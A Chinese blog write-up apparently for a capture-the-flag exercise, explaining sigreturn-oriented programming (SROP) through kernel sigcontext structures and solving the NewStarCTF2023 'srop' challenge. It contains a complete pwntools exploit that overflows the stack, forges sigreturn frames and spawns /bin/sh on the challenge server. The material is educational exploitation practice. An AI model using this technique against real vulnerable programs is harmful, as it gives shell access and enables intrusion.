mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
379 字
1 分钟
writeUp12.12
2025-12-23

SROP#

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。

步骤:

  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态

  2. 内核为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及signal信息和指向的sigreturn地址(所以进行SROP利用,需要较大的的溢出空间),注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler 执行完之后,就会执行sigreturn 代码

这是不同架构下的sigcontext

  1. x86
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
  1. x64
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

例题 BUUCTF-NewStarCTF2023srop#

将题目给的二进制文件拖入ida,找到如下重要函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[48]; // [rsp+0h] [rbp-30h] BYREF
syscall(1, 1, buf, 48); // "welcome to srop!\n"
return syscall(0, 0, v4, 768); // STACK overflow #A
}
__int64 sys()
{
return 15;
}
.text:0000000000401136 sys proc near
.text:0000000000401136 ; __unwind {
.text:0000000000401136 endbr64
.text:000000000040113A push rbp
.text:000000000040113B mov rbp, rsp
.text:000000000040113E mov eax, 0Fh
.text:0000000000401143 pop rbp
.text:0000000000401144 retn
.text:0000000000401144 ; } // starts at 401136

题目提供了 rax syscall等gadget,以及足够字节的栈溢出漏洞。所以我们可以通过 srop 进行系统调用

于是得到解题脚本

from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
# p = process("./pwn_1")
p = remote("node5.buuoj.cn", 27194)
p.recvuntil(b"welcome to srop!\n")
rax = 0x40113e
rdi = 0x401203
syscall = 0x401040
bss = 0x404050
sig = SigreturnFrame()
sig.rdi = 0
sig.rsi = 0
sig.rdx = bss
sig.rcx = 0x400
sig.rsp = bss + 8
sig.rip = syscall
# read
payload = flat([
b"a" * 56,
p64(rdi),
p64(0xf),
p64(syscall),
]) + bytes(sig)
p.sendline(payload)
# system
sig = SigreturnFrame()
sig.rdi = 0x3b
sig.rsi = bss
sig.rdx = 0
sig.rcx = 0
sig.rsp = bss
sig.rip = syscall
payload = flat([
b"/bin/sh\x00",
p64(rdi),
p64(0xf),
p64(syscall),
]) + bytes(sig)
p.sendline(payload)
p.interactive()
IMPORTANT

总结:#

遇到题目如果需要使用srop绕过至少需要一下几个条件:

  1. 足够的栈溢出空间(在x64下150字节左右)
  2. 控制rax寄存器,syscall的gadget
  3. 没有使用沙箱禁用对应的系统调用
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

writeUp12.12
https://yoyolp.github.io/posts/12/23/
作者
超级玉米人
发布于
2025-12-23
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录